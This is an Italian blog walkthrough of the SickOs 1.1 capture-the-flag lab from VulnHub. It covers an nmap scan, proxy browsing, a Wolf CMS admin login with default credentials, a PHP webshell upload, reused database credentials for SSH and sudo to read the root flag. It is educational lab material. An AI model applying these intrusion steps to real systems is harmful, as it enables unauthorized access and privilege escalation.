Buon anno! Viste le feste oramai quasi giunte al termine per tenerci in forma non solo fisicamente, voglio fare insieme a voi un po di esercizio. Sapete cos’è una CTF? Sicuramente si, ma per chi invece non sa cosa significa, CTF sta per Capture The Flag, è una sfida reale di Penetration Test su ambienti creati ad hoc che presentano delle sfide da superare o degli obbiettivi.
Oggi vedremo insieme come risolvere la CTF SickOs 1.1 presa dal sito vulnhub.com
Dopo averla scaricata e installata come macchina virtuale, iniziamo la nostra sfida. Il nostro obbiettivo è vedere il contenuto dell file flag nella cartella di root.
# cat /root/a0216ea4d51874464078c618298b1367.txt
Iniziamo con un nmap per capire che servizi espone
root@kali:~# nmap -sS -T5 -A 192.168.131.133 -p 1-65535 Starting Nmap 6.47 ( http://nmap.org ) at 2015-12-28 16:04 CET Nmap scan report for 192.168.131.133 Host is up (0.00018s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA) | 2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA) |_ 256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA) 3128/tcp open http-proxy Squid http proxy 3.1.19 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: ERROR: The requested URL could not be retrieved 8080/tcp closed http-proxy MAC Address: 00:0C:29:A5:DC:06 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.11 - 3.14 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.18 ms 192.168.131.133 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 100.26 seconds
Non sembra aver dato molti risultati, come possiamo vedere le porte aperte corrispondono a ssh 22, squid proxy 3128. Le altre informazioni per questa volta sono superflue perché già date nella pagina di presentazione della CTF.
Proviamo a giocare con il proxy, impostiamolo sul nostro browser e vediamo cosa ci fa fare. Io ho utilizzato un plugin per Firefox chiamato “Proxy Selector“.
Se proviamo con il proxy impostato ad andare su http://192.168.131.133 ci restituisce questa schermata:
Le classiche trollate delle CTF :-) …ma ora? La prima cosa che possiamo verificare è il file robots.txt se contiene informazioni utili.
User-agent: * Disallow: / Dissalow: /wolfcms
Sembra esserci qualcosa, proviamo la pagina http://192.168.131.133/wolfcms. Ecco che finalmente qualcosa di interessante
Nel’app non sembra esserci nulla di interessante, un’installazione base del CMS Wolf. Proviamo a verificare se hanno lasciato le credenziali di default… puntiamo il browser sull’URL per accedere al pannello di amministrazione
http://192.168.131.133/wolfcms/?admin
Ottimo! le password di default funzionano sempre admin:admin e siamo dentro.
Ora il nostro obbiettivo è trovare un form di upload per l’invio di una webshell o una RCE per eseguire dei comandi sul server. E’ ben visibile il tab in alto chiamato “Files” che potrebbe fare al caso nostro.
Appare subito un bel tasto “Upload Files”
Troppo facile! Come non provare subito a fare un upload di una webshell?
Perfetto! Tutto sembra funzionare alla grande. Ora puntiamo il nostro browser sulla URL della shell http://192.168.131.133/wolfcms/public/images/cshell99.php
Facciamo un giro nei file di configurazione dell’applicazione alla ricerca di credenziali valide. La prima cosa che viene in mente è il file config.php individuato nella path principale.
Segniamoci queste credenziali, root:john@123
Proviamo a connetterci al database e verificare la tabella utenti, se troviamo qualcosa di interessante. Ma l’unico utente presente è admin di cui già conosciamo la password. Proviamo altre strade.
Voglio una shell valida ssh, vediamo gli utenti presenti sul server
Il primo che ci salta all’occhio è sickos con una shell, vediamo se è lo stesso che ha installato il CMS. Facciamo una prova con ssh connettendoci con le credenziali: sickos:john@123
root@kali:~# ssh 192.168.131.133 -l sickos [email protected]'s password: Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Mon Dec 28 22:17:50 IST 2015 System load: 0.0 Processes: 120 Usage of /: 4.3% of 28.42GB Users logged in: 1 Memory usage: 12% IP address for eth0: 192.168.131.133 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ 124 packages can be updated. 92 updates are security updates. New release '14.04.3 LTS' available. Run 'do-release-upgrade' to upgrade to it. Last login: Mon Dec 28 21:20:47 2015 from 192.168.131.135 sickos@SickOs:~$
Siamo dentro! Ora vediamo cosa ci è possibile fare, visto che ci troviamo su Ubuntu, proviamo a vedere se è utilizzabile sudo
sickos@SickOs:~$ sudo -l [sudo] password for sickos: Matching Defaults entries for sickos on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User sickos may run the following commands on this host: (ALL : ALL) ALL sickos@SickOs:~$
Con sudo è possibile lanciare un comando per leggere il file Flag terminando così la nostra CTF e raggiungendo l’obbiettivo prefissato.
sickos@SickOs:~$ sudo ls /root a0216ea4d51874464078c618298b1367.txt sickos@SickOs:~$ sudo cat /root/a0216ea4d51874464078c618298b1367.txt If you are viewing this!! ROOT! You have Succesfully completed SickOS1.1. Thanks for Trying sickos@SickOs:~$
Cheers!
Comments by Fabio Natalucci
Postfix: come configurare smtp esterno
Perfetto! Sono contento che ti sia stata utile.